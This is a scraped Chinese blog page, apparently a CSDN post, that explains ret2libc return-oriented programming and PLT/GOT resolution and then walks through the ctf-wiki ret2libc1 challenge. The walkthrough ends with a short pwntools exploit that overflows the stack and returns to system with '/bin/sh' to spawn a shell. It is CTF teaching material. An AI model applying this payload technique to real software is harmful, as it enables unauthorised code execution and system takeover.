浅谈ROP-ret2libc原理-题目源于[ctfwiki]

c++ 动态库虚表问题导致的不兼容问题 实例 c++动态库在abi兼容方面臭名昭著,这里结合一个线上模块使用动态库导致出core的问题总结下动态库、虚函数表等知识,这里将线上遇到的问题抽象出一个极简的例子,三个文件include.h, main.cpp, func.cpp ,先上源码 include.h: class Base { public: void virtual func1() = 0; }; class Wrapper { public: Base *b; }; extern void jj(Wrapper *); 阅读详情
AI摘要

博客围绕安全技术展开,介绍了ROP利用程序已有小片段控制程序执行流程,还讲解了静态链接和动态链接。以printf函数为例,说明了plt表和got表查找函数真实地址的过程。此外,对ret2libc1题目进行解析,包括checksec、在ida中查找信息、求偏移量等,后续将继续编写exp。

rop:在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。–[ctfwiki]
传送门
之前提到的ret2syscall,提到了静态链接,而libc主要利用了动态链接。

0x01

知识点:
简单来说,静态链接就是直接在原有的基础之上进行访问,而动态链接就是直接放上一个链接来访问。
1.plt表和got表
在这里插入图片描述
拿一个c语言编写的printf函数为例,当调用printf函数时,先去plt表和got表寻找printf函数的真实地址。plt表指向got表中的地址,got表指向glibc中的地址。

当第一次调用函数时,过程为:plt->got->plt->公共plt->动态连接器_dl_runtime_resolve->找到函数地址。其中,_dl_runtime_resolve函数作用为查找函数地址并返回给got表。

当第二次调用时,过程为:plt->got->直接获取函数地址,因为此时got表已经记录函数地址。

0x02

0x01,ret2libc1
题目解析:首先checksec一下:
在这里插入图片描述
放到ida中:发现有system函数的plt表,以及binsh关键字:
在这里插入图片描述

在这里插入图片描述
此时,求偏移量:
在这里插入图片描述
我们就可以利用以上地址编写exp:

from pwn import *

sh = process('./ret2libc1')
#sh=remote(" ",)
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
#flat函数,相当于p32()/p64()函数,‘b’*4表示返回地址,可以随便填写
sh.sendline(payload)

sh.interactive()

在这里插入图片描述
未完待续。。。

Tessy新手避坑指南:从零搭建单元测试工程,手把手搞定.c文件与.h文件链接 本文深入解析Tessy单元测试工程搭建中的常见问题,特别是.c与.h文件链接逻辑、通用编译环境的隐藏陷阱,以及如何建立可复用的base工程模板。通过实战案例和详细配置指南,帮助开发者避开Tessy新建工程时的常见坑,提升测试效率。 阅读详情

相关推荐

C与汇编语言

目录 一、汇编指令 二、汇编器和链接器 三、 汇编语法 四、C中嵌入汇编代码 五、GDB反汇编 1、x86_64通用寄存器 2、 调用栈 3、导出汇编代码 4、反汇编调试详解 5、结构体反汇编 一、汇编指令 汇编指令是指特定CPU架构的指令码的助记符,比如Intel x86 32位下ADD指令对应的16进制机器码有04/05/80/81等,被操作对象不同同一个...

菜鸟进阶之路 1万+

解决selenium控制台弹出的消息

【代码】解决selenium控制台弹出的消息。

asian3的博客 446

双目视觉实战:用Bouguet算法实现极线校正的完整代码解析

本文详细解析了Bouguet算法在双目视觉极线校正中的完整实现流程与性能调优技巧。通过旋转平分策略和基线对齐,Bouguet方法显著降低图像畸变并提升匹配精度,相比传统Hartley校正法平均重投影误差降低53%。文章涵盖从相机标定到OpenCV实战的全过程,并分享工业级调参策略,帮助开发者实现高精度立体视觉系统。

f9g0h的博客 265

ATT 汇编 lea 和 mov指令区别

一、mov 指令 mov 8(%rax, %rax, 2), %rbx // rbx = M[3rax + 8] 8(%rax, %rax, 2) 表示内存地址为3rax + 8的内存值 二、lea 指令 取有效地址,一般用来计算表达式 lea 8(%rax, %rax, 2), %rbx // rbx = 3rax + 8 直接取寄存器中的值 8(%rax, %rax, 2) 也表示一个内存值 但 lea 只取内存的有效地址即 3rax + 8 区别:lea 直接取地址 mov 需

白纸 1027

AI 大模型在电商精准营销中的应用

例如,对于用户 A 和用户 B,通过比较他们对共同评价过的商品的评分差异来确定相似度。其中,(Gain(D,a))表示特征(a)对数据集(D)的信息增益,(Ent(D))表示数据集(D)的信息熵,(V)表示特征(a)的取值个数,(D^{v})表示特征(a)取值为(v)的样本子集。其中,(sim(A,B))表示用户 A 和用户 B 的相似度,(I)表示用户 A 和用户 B 共同评价过的商品集合,(R_{A,i})和(R_{B,i})分别表示用户 A 和用户 B 对商品(i)的评分。(三)营销活动效果预测。

alittlehippo的博客 1627

Win10下ISE14.7安装避坑全记录:从License加载失败到ChipScope连不上,我踩过的雷都在这了

本文详细记录了在Win10系统下安装ISE14.7时遇到的常见问题及解决方案,包括License加载失败、IMPACT闪退、ChipScope连接故障等。通过实际案例和步骤解析,帮助用户避开安装陷阱,确保FPGA开发工具顺利运行。特别针对license问题提供了兼容性设置和文件修改的实用技巧。

weixin_42683394的博客 225

PWN的学习顺序推荐 | pwn学习指北

Pwn是一种在网络安全和黑客竞赛(如CTF,夺旗赛)中常见的技术类型。它主要涉及对程序漏洞的利用,以实现对目标系统的控制或获取敏感信息。

2403_87031746的博客 2581

如何在OBS中添加实时时间戳:Lua脚本配置教程(附效果展示)

本文详细介绍了如何在OBS中通过Lua脚本配置实时时间戳功能,包括环境准备、脚本获取、安装配置及高级定制。适用于直播和视频录制场景,提供精准回溯和风格自定义,支持多平台适配和性能优化,是专业制作的必备技巧。

day7的博客 1044

X86 Linux 汇编 GDB 调试

mov (%rax) %rax 寄存器中%rax所保存的内存地址对应位置的值加载进%rax mov -8(%rbp) rax 将%rbp内存所保存的值减8作为内存地址,喷对应的内存地址中的值进%rax movq (%rcx,%rax,8) %rax 将R[%rcx]+R[%rax]*8对应的地址的值加载进%rax 有效地址=offset(%base,%index,scale)=偏移量(基数,索引,倍数) offset,scale必须是常量 %base,%index必须是寄存器 scale必须是1,2.

xxxx的博客 765

16QAM调制解调仿真(matlab,详细介绍仿真方案的设计、结果及结论、完整代码及注释)

16QAM调制解调仿真目录一、仿真要求二、仿真方案详细设计三、仿真结果及结论四、仿真代码 一、仿真要求 1.用基带等效的方式仿真16-QAM在AWGN信道下的误码率和误比特率性能,并与理论值相比较; 2.高阶与低阶的性能比较。 二、仿真方案详细设计 三、仿真结果及结论 仿真结果 16QAM的星座点图 64QAM的星座点图 16QAM加噪声后的星座点图 64QAM加噪声后的星座点图 16-QAM载波调制信号在AWGN信道下的误比特率性能比较 结论:由图可知,16QAM的误符号率

mango 5万+

别再死记硬背HJB方程了!用Python数值求解一个简单最优控制问题(附完整代码)

本文通过Python数值求解Hamilton-Jacobi-Bellman(HJB)方程,帮助读者从工程实践角度理解最优控制问题。教程涵盖从建立简单车辆控制模型到离散化HJB方程、实现值迭代算法及可视化结果的完整流程,适合具备Python基础的开发者学习。

weixin_42520796的博客 371

C语言指针蒙圈?我们逆向把它按在地上摩擦!

C语言必须写main函数?最简单的 Hello world 你其实一点都不懂!不要陷在指针里面,最好的方法是跳出指针,我们从最终结果来思考问题。于是我的解题思路总是很偏,但是直指本质。我们...

程序员入门进阶 2212

Multisim14使用教程详尽版--(2025最新版)

摘要:本文详细介绍了Multisim14电路仿真软件的功能和使用方法。主要内容包括:1)主流电路仿真软件比较,突出Multisim在教学、竞赛设计中的优势;2)软件界面说明,涵盖菜单栏、工具栏、元器件库和仪器仪表;3)18类元器件分类详解及其使用操作;4)15种仪器仪表的原理和应用场景;5)电路原理图设计与仿真流程;6)基本电路分析方法(直流静态工作点分析、交流分析等)。文章还提供了硬件工程师笔试面试相关资源链接,涵盖电阻、电容、三极管等器件知识及AD软件操作指南。通过系统讲解,帮助用户掌握Multisim

XU157303764的博客 2万+

C/C++动态库崩溃处理方式

C/C++动态库崩溃——Dll Hell的处理方式

luckyxiev5的博客 3870

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

汇编语言常用指令介绍与函数应用

汇编语言常用指令介绍

hhd1988的专栏 1万+

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

Selenium3 Python WebDriver API源码探析(20)WebDriver协议概述

WebDriver协议 早期Selenium和WebDriver是两个独立的项目,Selenium早期主要依靠将操作转换为JavaScript然后注入浏览器实现浏览器的自动化,WebDriver将浏览器原生API封装成一套更加面向对象的API,但是由于不同浏览器内核的差异,因此为了适配,必须对不同浏览器实现不同的API。在Selenium2之后两个项目合并,我们常说的Selenium其实主要指的就是WebDriver API。当前Selenium稳定版本的主版本为3,beta版本的Selenium4已经在路

mighty13的专栏 3万+

C++ 工程实践(5):避免使用虚函数作为库的接口

https://blog.youkuaiyun.com/solstice/article/details/6244905 摘要:作为 C++ 动态库的作者,应当避免使用虚函数作为库的接口。这么做会给保持二进制兼容性带来很大麻烦,不得不增加很多不必要的 interfaces,最终重蹈 COM 的覆辙。 本文主要讨论 Linux x86 平台,会继续举 Windows/COM 作为反面教材。 本文是上一篇《...

chenyijun的专栏 908

[CTF]PWN--新人入门第一关--Ret2libc

首先我们需要找到pop rdi|ret这个指令在程序中的位置(前面提到该指令为程序中自带的,只不过需要我们去寻找),然后让程序返回到pop rdi|ret这个指令上去执行它,通过ROPgadget --binary pwn --only 'pop|ret' 该指令来寻找pop |ret这个指令的地址,其中ROPgadget为一个插件,需要自己下载,binary意思为一个二进制文件,后面跟着的是文件名,only后面跟着的为要搜索的命令地址。

2301_79880752的博客 1899

C++对象模型学习笔记十四: 单纯的类不纯时引发的虚函数调用问题

  单纯的类:比较简单的类,尤其不包含 虚函数和虚基类。   虚函数,多态,这种概念专门给指针或者引用用的; 测试代码如下: // 该实例演示在不不纯类(包含虚函数和虚基类)的构造函数中使用memset或者拷贝构造函数中使用memcpy方法,会出现程序崩溃的情形。 // 在栈声明的对象 调用虚函数和在堆上声明的对象 调用虚函数是不同的,一个是静态联编,一个是动态联编通过虚函数表获取虚函数指针后调用。 // 总结: 虚函数,多态,这种概念专门给指针或者引用用的; #include <iostre

哲学天空的博客 256

软件测试面试真题 | Selenium 的工作原理是什么?

通常我们所说的 Web 自动化测试,就是使用 SeleniumWebDriver来对浏览器进行自动化控制。可以调用 Selenium API 操作浏览器,解放人力成本(比如,打开一个 baidu.com,然后找到搜索框,输入搜索内容,验证结果等一连串的用户行为),它的意义体现在如下几个方面

q—qun1150305204的博客 971

selenium webdrive 报connection reset peer的错误

错误内容: 2018-07-25 11:17:49 [selenium.webdriver.remote.remote_connection] DEBUG: POST http://127.0.0.1:43357/session {"capabilities": {"firstMatch": [{}], "alwaysMatch": {"goog:chro...

莫冲的专栏 1579

selenium备忘录:selenium\webdriver\remote\remote_connection.py:374: ResourceWarning: unclosed<xxxx>解决办法

使用selenium时,remote_connection.py模块报错resourcewarning解决办法报错代码及截图解决办法原文 报错代码及截图 from selenium import webdriver driver = webdriver.Edge() driver.get("https://sjz.58.com/") driver.maximize_window() 报错信息如下: XXXXX ResourceWarning: unclosed <socket.socket

python3使用unittest进行自动化测试 543

CTF-PWN-栈溢出-初级ROP-【ret2libc】

当发生信号处理时,会调用func对于的函数。此时注意nptr是输入的内容的起始地址,而&savedregs顾名思义并查看IDA就知道其是栈上保存着rbp的位置,v7是输入的长度,此时存在溢出,当memcpy后可能使得复制的值到到返回地址。ret2libc即控制程序去执行libc库中的函数,通常是返回至某个函数的 plt 处或者某个函数的具体位置 (即某个函数对应的 got 表项的内容)1.dlopen将指定的动态库以特定的方式装载到当前进程实体,并返回一个可操作的句柄,用以后续获取函数地址等操作;

llovewuzhengzi的博客 1887

CTFWIKI-PWN-ret2libc

一遍我们只能找到got表的泄露 我们要写入的话就要重新执行一下 所以等等通过把start的地址存入返回地址 让程序执行两次。puts函数的真实地址 和 通过LibcSearcher工具得到的偏移量 就可以计算出每个函数的基地址。这里有一个问题 为什么我们需要找到开始的地址 _start表示程序开始的地址。如果我们无法找到system的plt地址 那我们就无法调用system函数。不是地址不会变 是函数和puts真实地址的之间的链接是不会变的。所以我们只要使用puts函数的真实地址 求出他们之间的链接。

m0_64180167的博客 1474

Ret2libc

三生三世十里桃花 她就像是一道疤 像风像雨像飞沙 像空气一样难抓 简介 ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址 ret2libc通常可以分为下面这几类: 程序中自身就含有sys...

钞sir的博客 9588
上一篇: basic ROP-浅谈ret2syscall原理[ctf-wiki]
下一篇: 浅谈rop-ret2libc原理以及解答-以攻防世界level3为例
p0int3r
博客等级 码龄7年 11粉丝 10原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值